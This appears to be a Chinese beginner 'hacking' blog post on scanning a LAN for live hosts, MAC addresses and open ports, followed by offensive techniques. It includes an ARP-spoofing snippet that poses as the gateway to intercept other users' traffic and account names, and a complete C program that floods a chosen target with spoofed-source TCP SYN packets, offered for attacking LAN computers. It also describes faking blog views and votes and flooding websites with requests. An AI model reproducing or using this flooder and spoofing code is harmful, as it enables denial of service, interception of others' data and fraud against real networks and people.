查询局域网电脑的IP,端口号,MAC地址(黑客技术入门)

news/2025/2/21 7:48:38/

原文地址:http://blog.csdn.net/qq_21792169/article/details/51954815

网上看到很多都是使用nmap工具,这个工具我没有使用过,我自己实现nmap工具的功能,首先我们查询局域网内有哪些电脑是alive的,下面我写了一个脚本:

ping.sh   


这样局域网内哪些电脑的ip是alive的就可以知道,下面来查看对于IP的MAC地址,使用cat /proc/net/arp  命令:



然后在使用netstat  -an命令来分析端口号。

这样我们就轻松获取了局域网内所有电脑的信息,这时候我们使用网络编程,破坏三次握手协议去攻击电脑,或者获取抓包数据等,也可以通过ARP欺骗等手段。

查看结果分析:

Proto Recv-Q Send-Q Local Address           Foreign Address         State  
  Local Adress代表本地开放的端口,
  Foreign Adress代表的是外网的地址,
  State代表的是状态。
  Foreign Adress代表连接外网的地址。比如说登录QQ的服务器或者打开网页时都会显示不同的IP地址。
  listening代表正在监听的端口
  Established表示已激活的IP和端口
  wait表示正在等待监听


方法二、采取ARP攻击,这个方法比较简单,但是实用。

arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=)/* psrc填网关,pdst可以指定某一个IP或者广播(255),hwsrc随便构造,这样我们把自己的电脑模拟成了网关或者路由器,1s发一次包,局域网内其他电脑上网提交的数据就全部提交到我们这儿,他们是不能上网的,或者让他们上网,但是数据必须经过我们电脑,我们就可以抓包数据了,想一些账号,QQ,微信这些事可以抓取到的,但是密码就是乱码,这个有他们自己的加密机制,账号没有加密。反正思路就是这样 */
send(arp)  /* cat /proc/net/arp    广播时候,执行该命令局域网内所有的电脑信息都会呈现给我们,这就是ARP协议的BUG,TCP就是三次握手协议 */


方法三、Dos与DDOS攻击

DoS:是Denial of Service的简称,即拒绝服务,不是DOS操作系统,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。

  DDOS:分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。

伪造IP就是常见的DDOS手段,学习的知识是很多,需要各位朋友自己去挖掘


下面是我写的一个代码,可以攻击局域网内电脑:

main.c

[html]  view plain  copy
  1. <span style="font-size:18px;">#include<errno.h>  
  2. #include<string.h>  
  3. #include<netdb.h>  
  4. #include<stdio.h>  
  5. #include<stdlib.h>  
  6. #include<unistd.h>  
  7. #include<netinet/ip.h>  
  8. #include<netinet/tcp.h>  
  9.   
  10. void send_data(int sockfd,struct sockaddr_in *addr,char *port);  
  11. unsigned short check_sum(unsigned short *addr,int len);  
  12.   
  13. // ./argv[0] des_hostname/ip   des_port  local_port    
  14. int main(int argc,char *argv[])   
  15. {   
  16.     int sockfd;   
  17.     struct sockaddr_in addr;   
  18.     struct hostent *host;   
  19.     int on=1;   
  20.       
  21.     if(argc!=4)   
  22.     {   
  23.         fprintf(stderr,"Usage:%s des_hostname/ip des_port  local_port\n",argv[0]);   
  24.         exit(EXIT_FAILURE);   
  25.     }   
  26.     
  27.     memset(&addr,0,sizeof(struct sockaddr_in));  
  28.     addr.sin_family=AF_INET;   
  29.      
  30.     if(inet_aton(argv[1],&addr.sin_addr)==0)   
  31.     {   
  32.         host=gethostbyname(argv[1]);   
  33.         if(host==NULL)   
  34.             {   
  35.                     fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));   
  36.                     exit(EXIT_FAILURE);   
  37.             }   
  38.             addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);   
  39.     }   
  40.     addr.sin_port=htons(atoi(argv[2]));   
  41.   
  42.     sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);   
  43.     if(sockfd<0)   
  44.     {   
  45.         fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));   
  46.         exit(EXIT_FAILURE);   
  47.     }   
  48.     setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));   
  49.   
  50.     send_data(sockfd,&addr,argv[3]);   
  51. }    
  52.   
  53. void send_data(int sockfd,struct sockaddr_in *addr,char *port)   
  54. {   
  55.     char buffer[100];  
  56.     struct iphdr *ip;   
  57.     struct tcphdr *tcp;   
  58.     int head_len;   
  59.   
  60.     head_len=sizeof(struct iphdr)+sizeof(struct tcphdr);   
  61.     bzero(buffer,100);   
  62.     ip=(struct iphdr *)buffer;   
  63.     ip->version=IPVERSION;  
  64.     ip->ihl=sizeof(struct ip)>>2;  
  65.     ip->tos=0;  
  66.     ip->tot_len=htons(head_len);   
  67.     ip->id=0;  
  68.     ip->frag_off=0;  
  69.     ip->ttl=MAXTTL;  
  70.     ip->protocol=IPPROTO_TCP;  
  71.   
  72.     ip->check=0;  
  73.     ip->daddr = addr->sin_addr.s_addr;  
  74.     
  75.     tcp=(struct tcphdr *)(buffer +sizeof(struct ip));   
  76.     tcp->source=htons(atoi(port));  
  77.     tcp->dest=addr->sin_port;   
  78.     tcp->seq=random();   
  79.     tcp->ack_seq=0;   
  80.     tcp->doff=5;   
  81.     tcp->syn=1;   
  82.     tcp->check=0;   
  83.   
  84.   
  85.     while(1)   
  86.     {   
  87.         ip->saddr=random();        
  88.     tcp->check=0;      
  89.     tcp->check=check_sum((unsigned short *)tcp,   
  90.              sizeof(struct tcphdr));    
  91.         sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,(socklen_t)sizeof(struct sockaddr_in));   
  92.     }   
  93. }   
  94.   
  95. unsigned short check_sum(unsigned short *addr,int len)   
  96. {   
  97.     register int nleft=len;   
  98.     register int sum=0;   
  99.     register short *w=addr;   
  100.     short answer=0;   
  101.     while(nleft>1)   
  102.     {   
  103.         sum+=*w++;   
  104.         nleft-=2;   
  105.     }   
  106.     if(nleft==1)   
  107.     {   
  108.         *(unsigned char *)(&answer)=*(unsigned char *)w;   
  109.         sum+=answer;   
  110.     }   
  111.   
  112.     sum=(sum>>16)+(sum&0xffff);   
  113.     sum+=(sum>>16);   
  114.     answer=~sum;   
  115.     return(answer);   
  116. }  
  117. </span>  

下面在提供一些黑客技术的入门:

各大博客刷访问量的实现:首先使用Fiddler4抓取header信息,然后使用python构造header,ip等就可以轻松实现,本人各大博客,QQ空间刷赞,网页投票链接都测试过,非常实用。具体代码我就不上传上来了。也可以在Linux下使用tcpdump来抓包分析,抓包是讲究技巧的,这个手段是大量黑客长使用的方法。

攻击网页就更简单了,在python中使用不断请求,打开,采取多线程编程可以造成网络拥堵,来达到攻击的目的。如果是想黑掉整个服务器,请才用dos抓取肉鸡的方式,首选得获取到管理员权限(这个是难点)。

python入门比较简单,简单的网络 攻防是可以实现的,Linux C网络编程效率更高,但是同时也更加复杂一点,我是一个非常痴迷Linux操作系统的程序员,不喜欢用windos,我对图形界面的东西不太感冒。


年轻就是资本,有的是时间和青春去挥霍,去学习技术。

不要把这些技术用到不正当的场合,开心一下就行。


我喜欢程序员,他们单纯、固执、容易体会到成就感;面对压力,能够挑灯夜战不眠不休;面对困难,能够迎难而上挑战自我。他们也会感到困惑与傍徨,但每个程序员的心中都有一个比尔盖茨或是乔布斯的梦想“用智慧开创属于自己的事业”。



http://www.ppmy.cn/news/916219.html

相关文章

Socket通信原理和QQ的基本实现

文章目录 前言一、网络中进程之间通信方式二、Socket的基本使用1.Socket函数2.bind()函数3.listen()、connect()函数4.accept()函数5.read()、write()、close()函数 三、QQ的基本实现C语言版本C版本 前言 最近在看Socket网络编程这一部分&#xff0c;本来以为跟教程下来就算了…

使用ARP欺骗, 截取局域网中任意一台机器的网页请求,破解用户名密码等信息

转载自https://www.cnblogs.com/xcj26/articles/6073411.html 阅读目录 ARP欺骗的作用  ARP欺骗  什么是网关  ARP协议是什么  单向ARP欺骗  双向ARP欺骗  开始ARP欺骗  让局域网中的任意一台计算机或者手机断线  zxarps实现双向截取数据&#xff0c;并修改网页…

基于(LinuxC语言)的udp局域网聊天室

【使用说明与相关缺陷】 //1.关于两个文件夹的说明&#xff1a;(这部分是源文件压缩包的说明&#xff0c;这边没发所以可以忽略 ) 文件夹 udp_聊天室 的内容是本次项目的内容. 文件夹 tcp_select 的内容是基于tcp和select写的服务器转发代码. …

Visual Studio 2019离线安装教程(脱机安装、局域网安装)

文章目录 项目场景:问题描述:解决方案:1.下载vs引导程序2.创建文件夹用来存放安装包文件3. 找到自己需要安装的vs工作负载和组件id4. 下载离线安装包参考文献项目场景: 因为公司的业务要求,需要在内网环境进行开发和测试。 问题描述: Visual Studio 需要下载到内网安装…

局域网即时通讯软件_无线局域网中,安卓手机和电脑的资源如何实现互传互访?...

安卓手机和电脑之间的资源共享,可实现的方案有很多,例如: 方案一是各种官方或第三方出品的“XX手机助手”软件。优点是直连的传输速率最高;缺点一是手机和电脑必须连在一起,相当不方便,缺点二是万一中途发生松动等异常,就只有重传;方案二是QQ、微信之类的互联网通讯软件…

局域网内搭建SFTP服务器及多用户管理

局域网内搭建SFTP服务器及多用户管理 前言软硬件设置服务器——树莓派3B操作系统——Raspbian客户端——Filezilla 用户管理常用用户管理命令常见用户组命令 文件权限SSH&Putty 前言 SFTP与FTP功能类似&#xff0c;通过网络在服务器与客户端之间交换文件。用户通过SFTP访问…

毕业论文-基于C#的局域网通信

局域网即时通讯工具的设计与实现 PS&#xff1a;等有空了&#xff0c;放源码讲解吧。。。。 目录 局域网即时通讯工具的设计与实现 1.引言 1.1课题背景及意义 1.2发展现状 1.2.1产品同质化的现象严重 1.2.2产品定位不够精准 1.3系统目标 1.3.1显示主机名称及IP地址 …

各位想不想知道,360,局域网能不能防护好?

系列文章目录 第三章:各位想不想知道,360,局域网能不能防护好? 文章目录 系列文章目录 前言 个人中心 局域网防护 木马防火墙 总结 点击链接加入群聊【编程交流群】: https://jq.qq.com/?_wv=1027&k=pk1j6LkX 前言 》》》》随着电脑技术的不断发展,电脑杀毒这门…